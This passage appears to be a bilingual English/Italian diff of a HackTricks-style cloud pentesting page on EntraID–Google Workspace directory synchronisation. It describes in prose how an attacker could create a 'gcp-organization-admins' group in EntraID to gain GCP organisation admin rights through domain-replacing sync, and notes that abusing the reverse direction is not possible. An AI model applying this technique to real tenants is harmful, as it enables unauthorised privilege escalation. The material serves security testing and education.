If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@<entraid.email>` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen.\
|
||||
**The user will be added in the group `gcp-organization-admins@<workspace.email>` escalating privileges in GCP.**
|
||||
Se la sincronizzazione da, ad esempio, EntraID, a Workspace è **configurata per sostituire il dominio** dell'oggetto importato **con l'email di Workspace**, sarà possibile per un attaccante creare il gruppo `gcp-organization-admins@<entraid.email>` in EntraID, aggiungere un utente in questo gruppo e aspettare che avvenga la sincronizzazione di tutti i gruppi.\
|
||||
**L'utente sarà aggiunto nel gruppo `gcp-organization-admins@<workspace.email>` elevando i privilegi in GCP.**
|
||||
|
||||
### From Google Workspace -> AD/EntraID
|
||||
### Da Google Workspace -> AD/EntraID
|
||||
|
||||
Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment.
|
||||
Nota che Workspace richiede credenziali con accesso in sola lettura su AD o EntraID per sincronizzare utenti e gruppi. Pertanto, non è possibile abusare di Google Workspace per apportare modifiche a AD o EntraID. Quindi **questo non è possibile** in questo momento.
|
||||
|
||||
I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**.
|
||||
Non so nemmeno dove Google memorizzi le credenziali AD o il token EntraID e non **puoi recuperarli riconfigurando la sincronizzazione** (non appaiono nel modulo web, devi fornirli di nuovo). Tuttavia, dal web potrebbe essere possibile abusare della funzionalità attuale per **elencare utenti e gruppi**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user